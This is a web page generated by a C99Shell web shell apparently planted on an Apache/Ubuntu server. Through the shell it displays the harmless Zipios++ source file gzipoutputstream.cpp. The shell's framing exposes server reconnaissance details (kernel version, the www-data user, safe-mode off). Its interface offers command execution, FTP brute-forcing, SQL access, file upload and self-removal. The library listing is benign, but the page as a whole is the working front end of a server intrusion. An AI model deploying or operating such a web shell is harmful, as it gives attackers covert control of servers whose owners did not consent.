!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/doc/libzipios++-doc/html/   drwxr-xr-x
Free 13.15 GB of 57.97 GB (22.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     gzipoutputstream_8cpp_source.html (16.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Zipios++: gzipoutputstream.cpp Source File
Zipios++
gzipoutputstream.cpp
Go to the documentation of this file.
1 
2 #include "zipios++/zipios-config.h"
3 
4 #include "zipios++/meta-iostreams.h"
5 
8 
9 using std::ostream;
10 
11 namespace zipios {
12 
14  : ostream( 0 ),
15  ofs( 0 )
16 {
17  ozf = new GZIPOutputStreambuf( os.rdbuf() ) ;
18 
19  init( ozf ) ;
20 }
21 
22 GZIPOutputStream::GZIPOutputStream( const std::string &filename )
23  : ostream( 0 ),
24  ofs( 0 )
25 {
26  ofs = new std::ofstream( filename.c_str(), std::ios::out | std::ios::binary ) ;
27  ozf = new GZIPOutputStreambuf( ofs->rdbuf() ) ;
28  init( ozf ) ;
29 }
30 
31 void GZIPOutputStream::setFilename( const string &filename ) {
32  ozf->setFilename(filename);
33 }
34 
35 void GZIPOutputStream::setComment( const string &comment ) {
36  ozf->setComment(comment);
37 }
38 
40  ozf->close() ;
41  if ( ofs )
42  ofs->close() ;
43 }
44 
45 
47  ozf->finish() ;
48 }
49 
50 
52  // It's ok to call delete with a Null pointer.
53  delete ozf ;
54  delete ofs ;
55 }
56 
57 } // namespace
58 
63 /*
64  Zipios++ - a small C++ library that provides easy access to .zip files.
65  Copyright (C) 2000 Thomas Søndergaard
66 
67  This library is free software; you can redistribute it and/or
68  modify it under the terms of the GNU Lesser General Public
69  License as published by the Free Software Foundation; either
70  version 2 of the License, or (at your option) any later version.
71 
72  This library is distributed in the hope that it will be useful,
73  but WITHOUT ANY WARRANTY; without even the implied warranty of
74  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
75  Lesser General Public License for more details.
76 
77  You should have received a copy of the GNU Lesser General Public
78  License along with this library; if not, write to the Free Software
79  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
80 */
GZIPOutputStream(std::ostream &os)
GZIPOutputStream constructor.
GZIPOutputStreambuf is a zip output streambuf filter.
virtual ~GZIPOutputStream()
Destructor.
void finish()
Finishes the stream.
void finish()
Finishes the compression.
void close()
Calls finish and closes the stream.

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--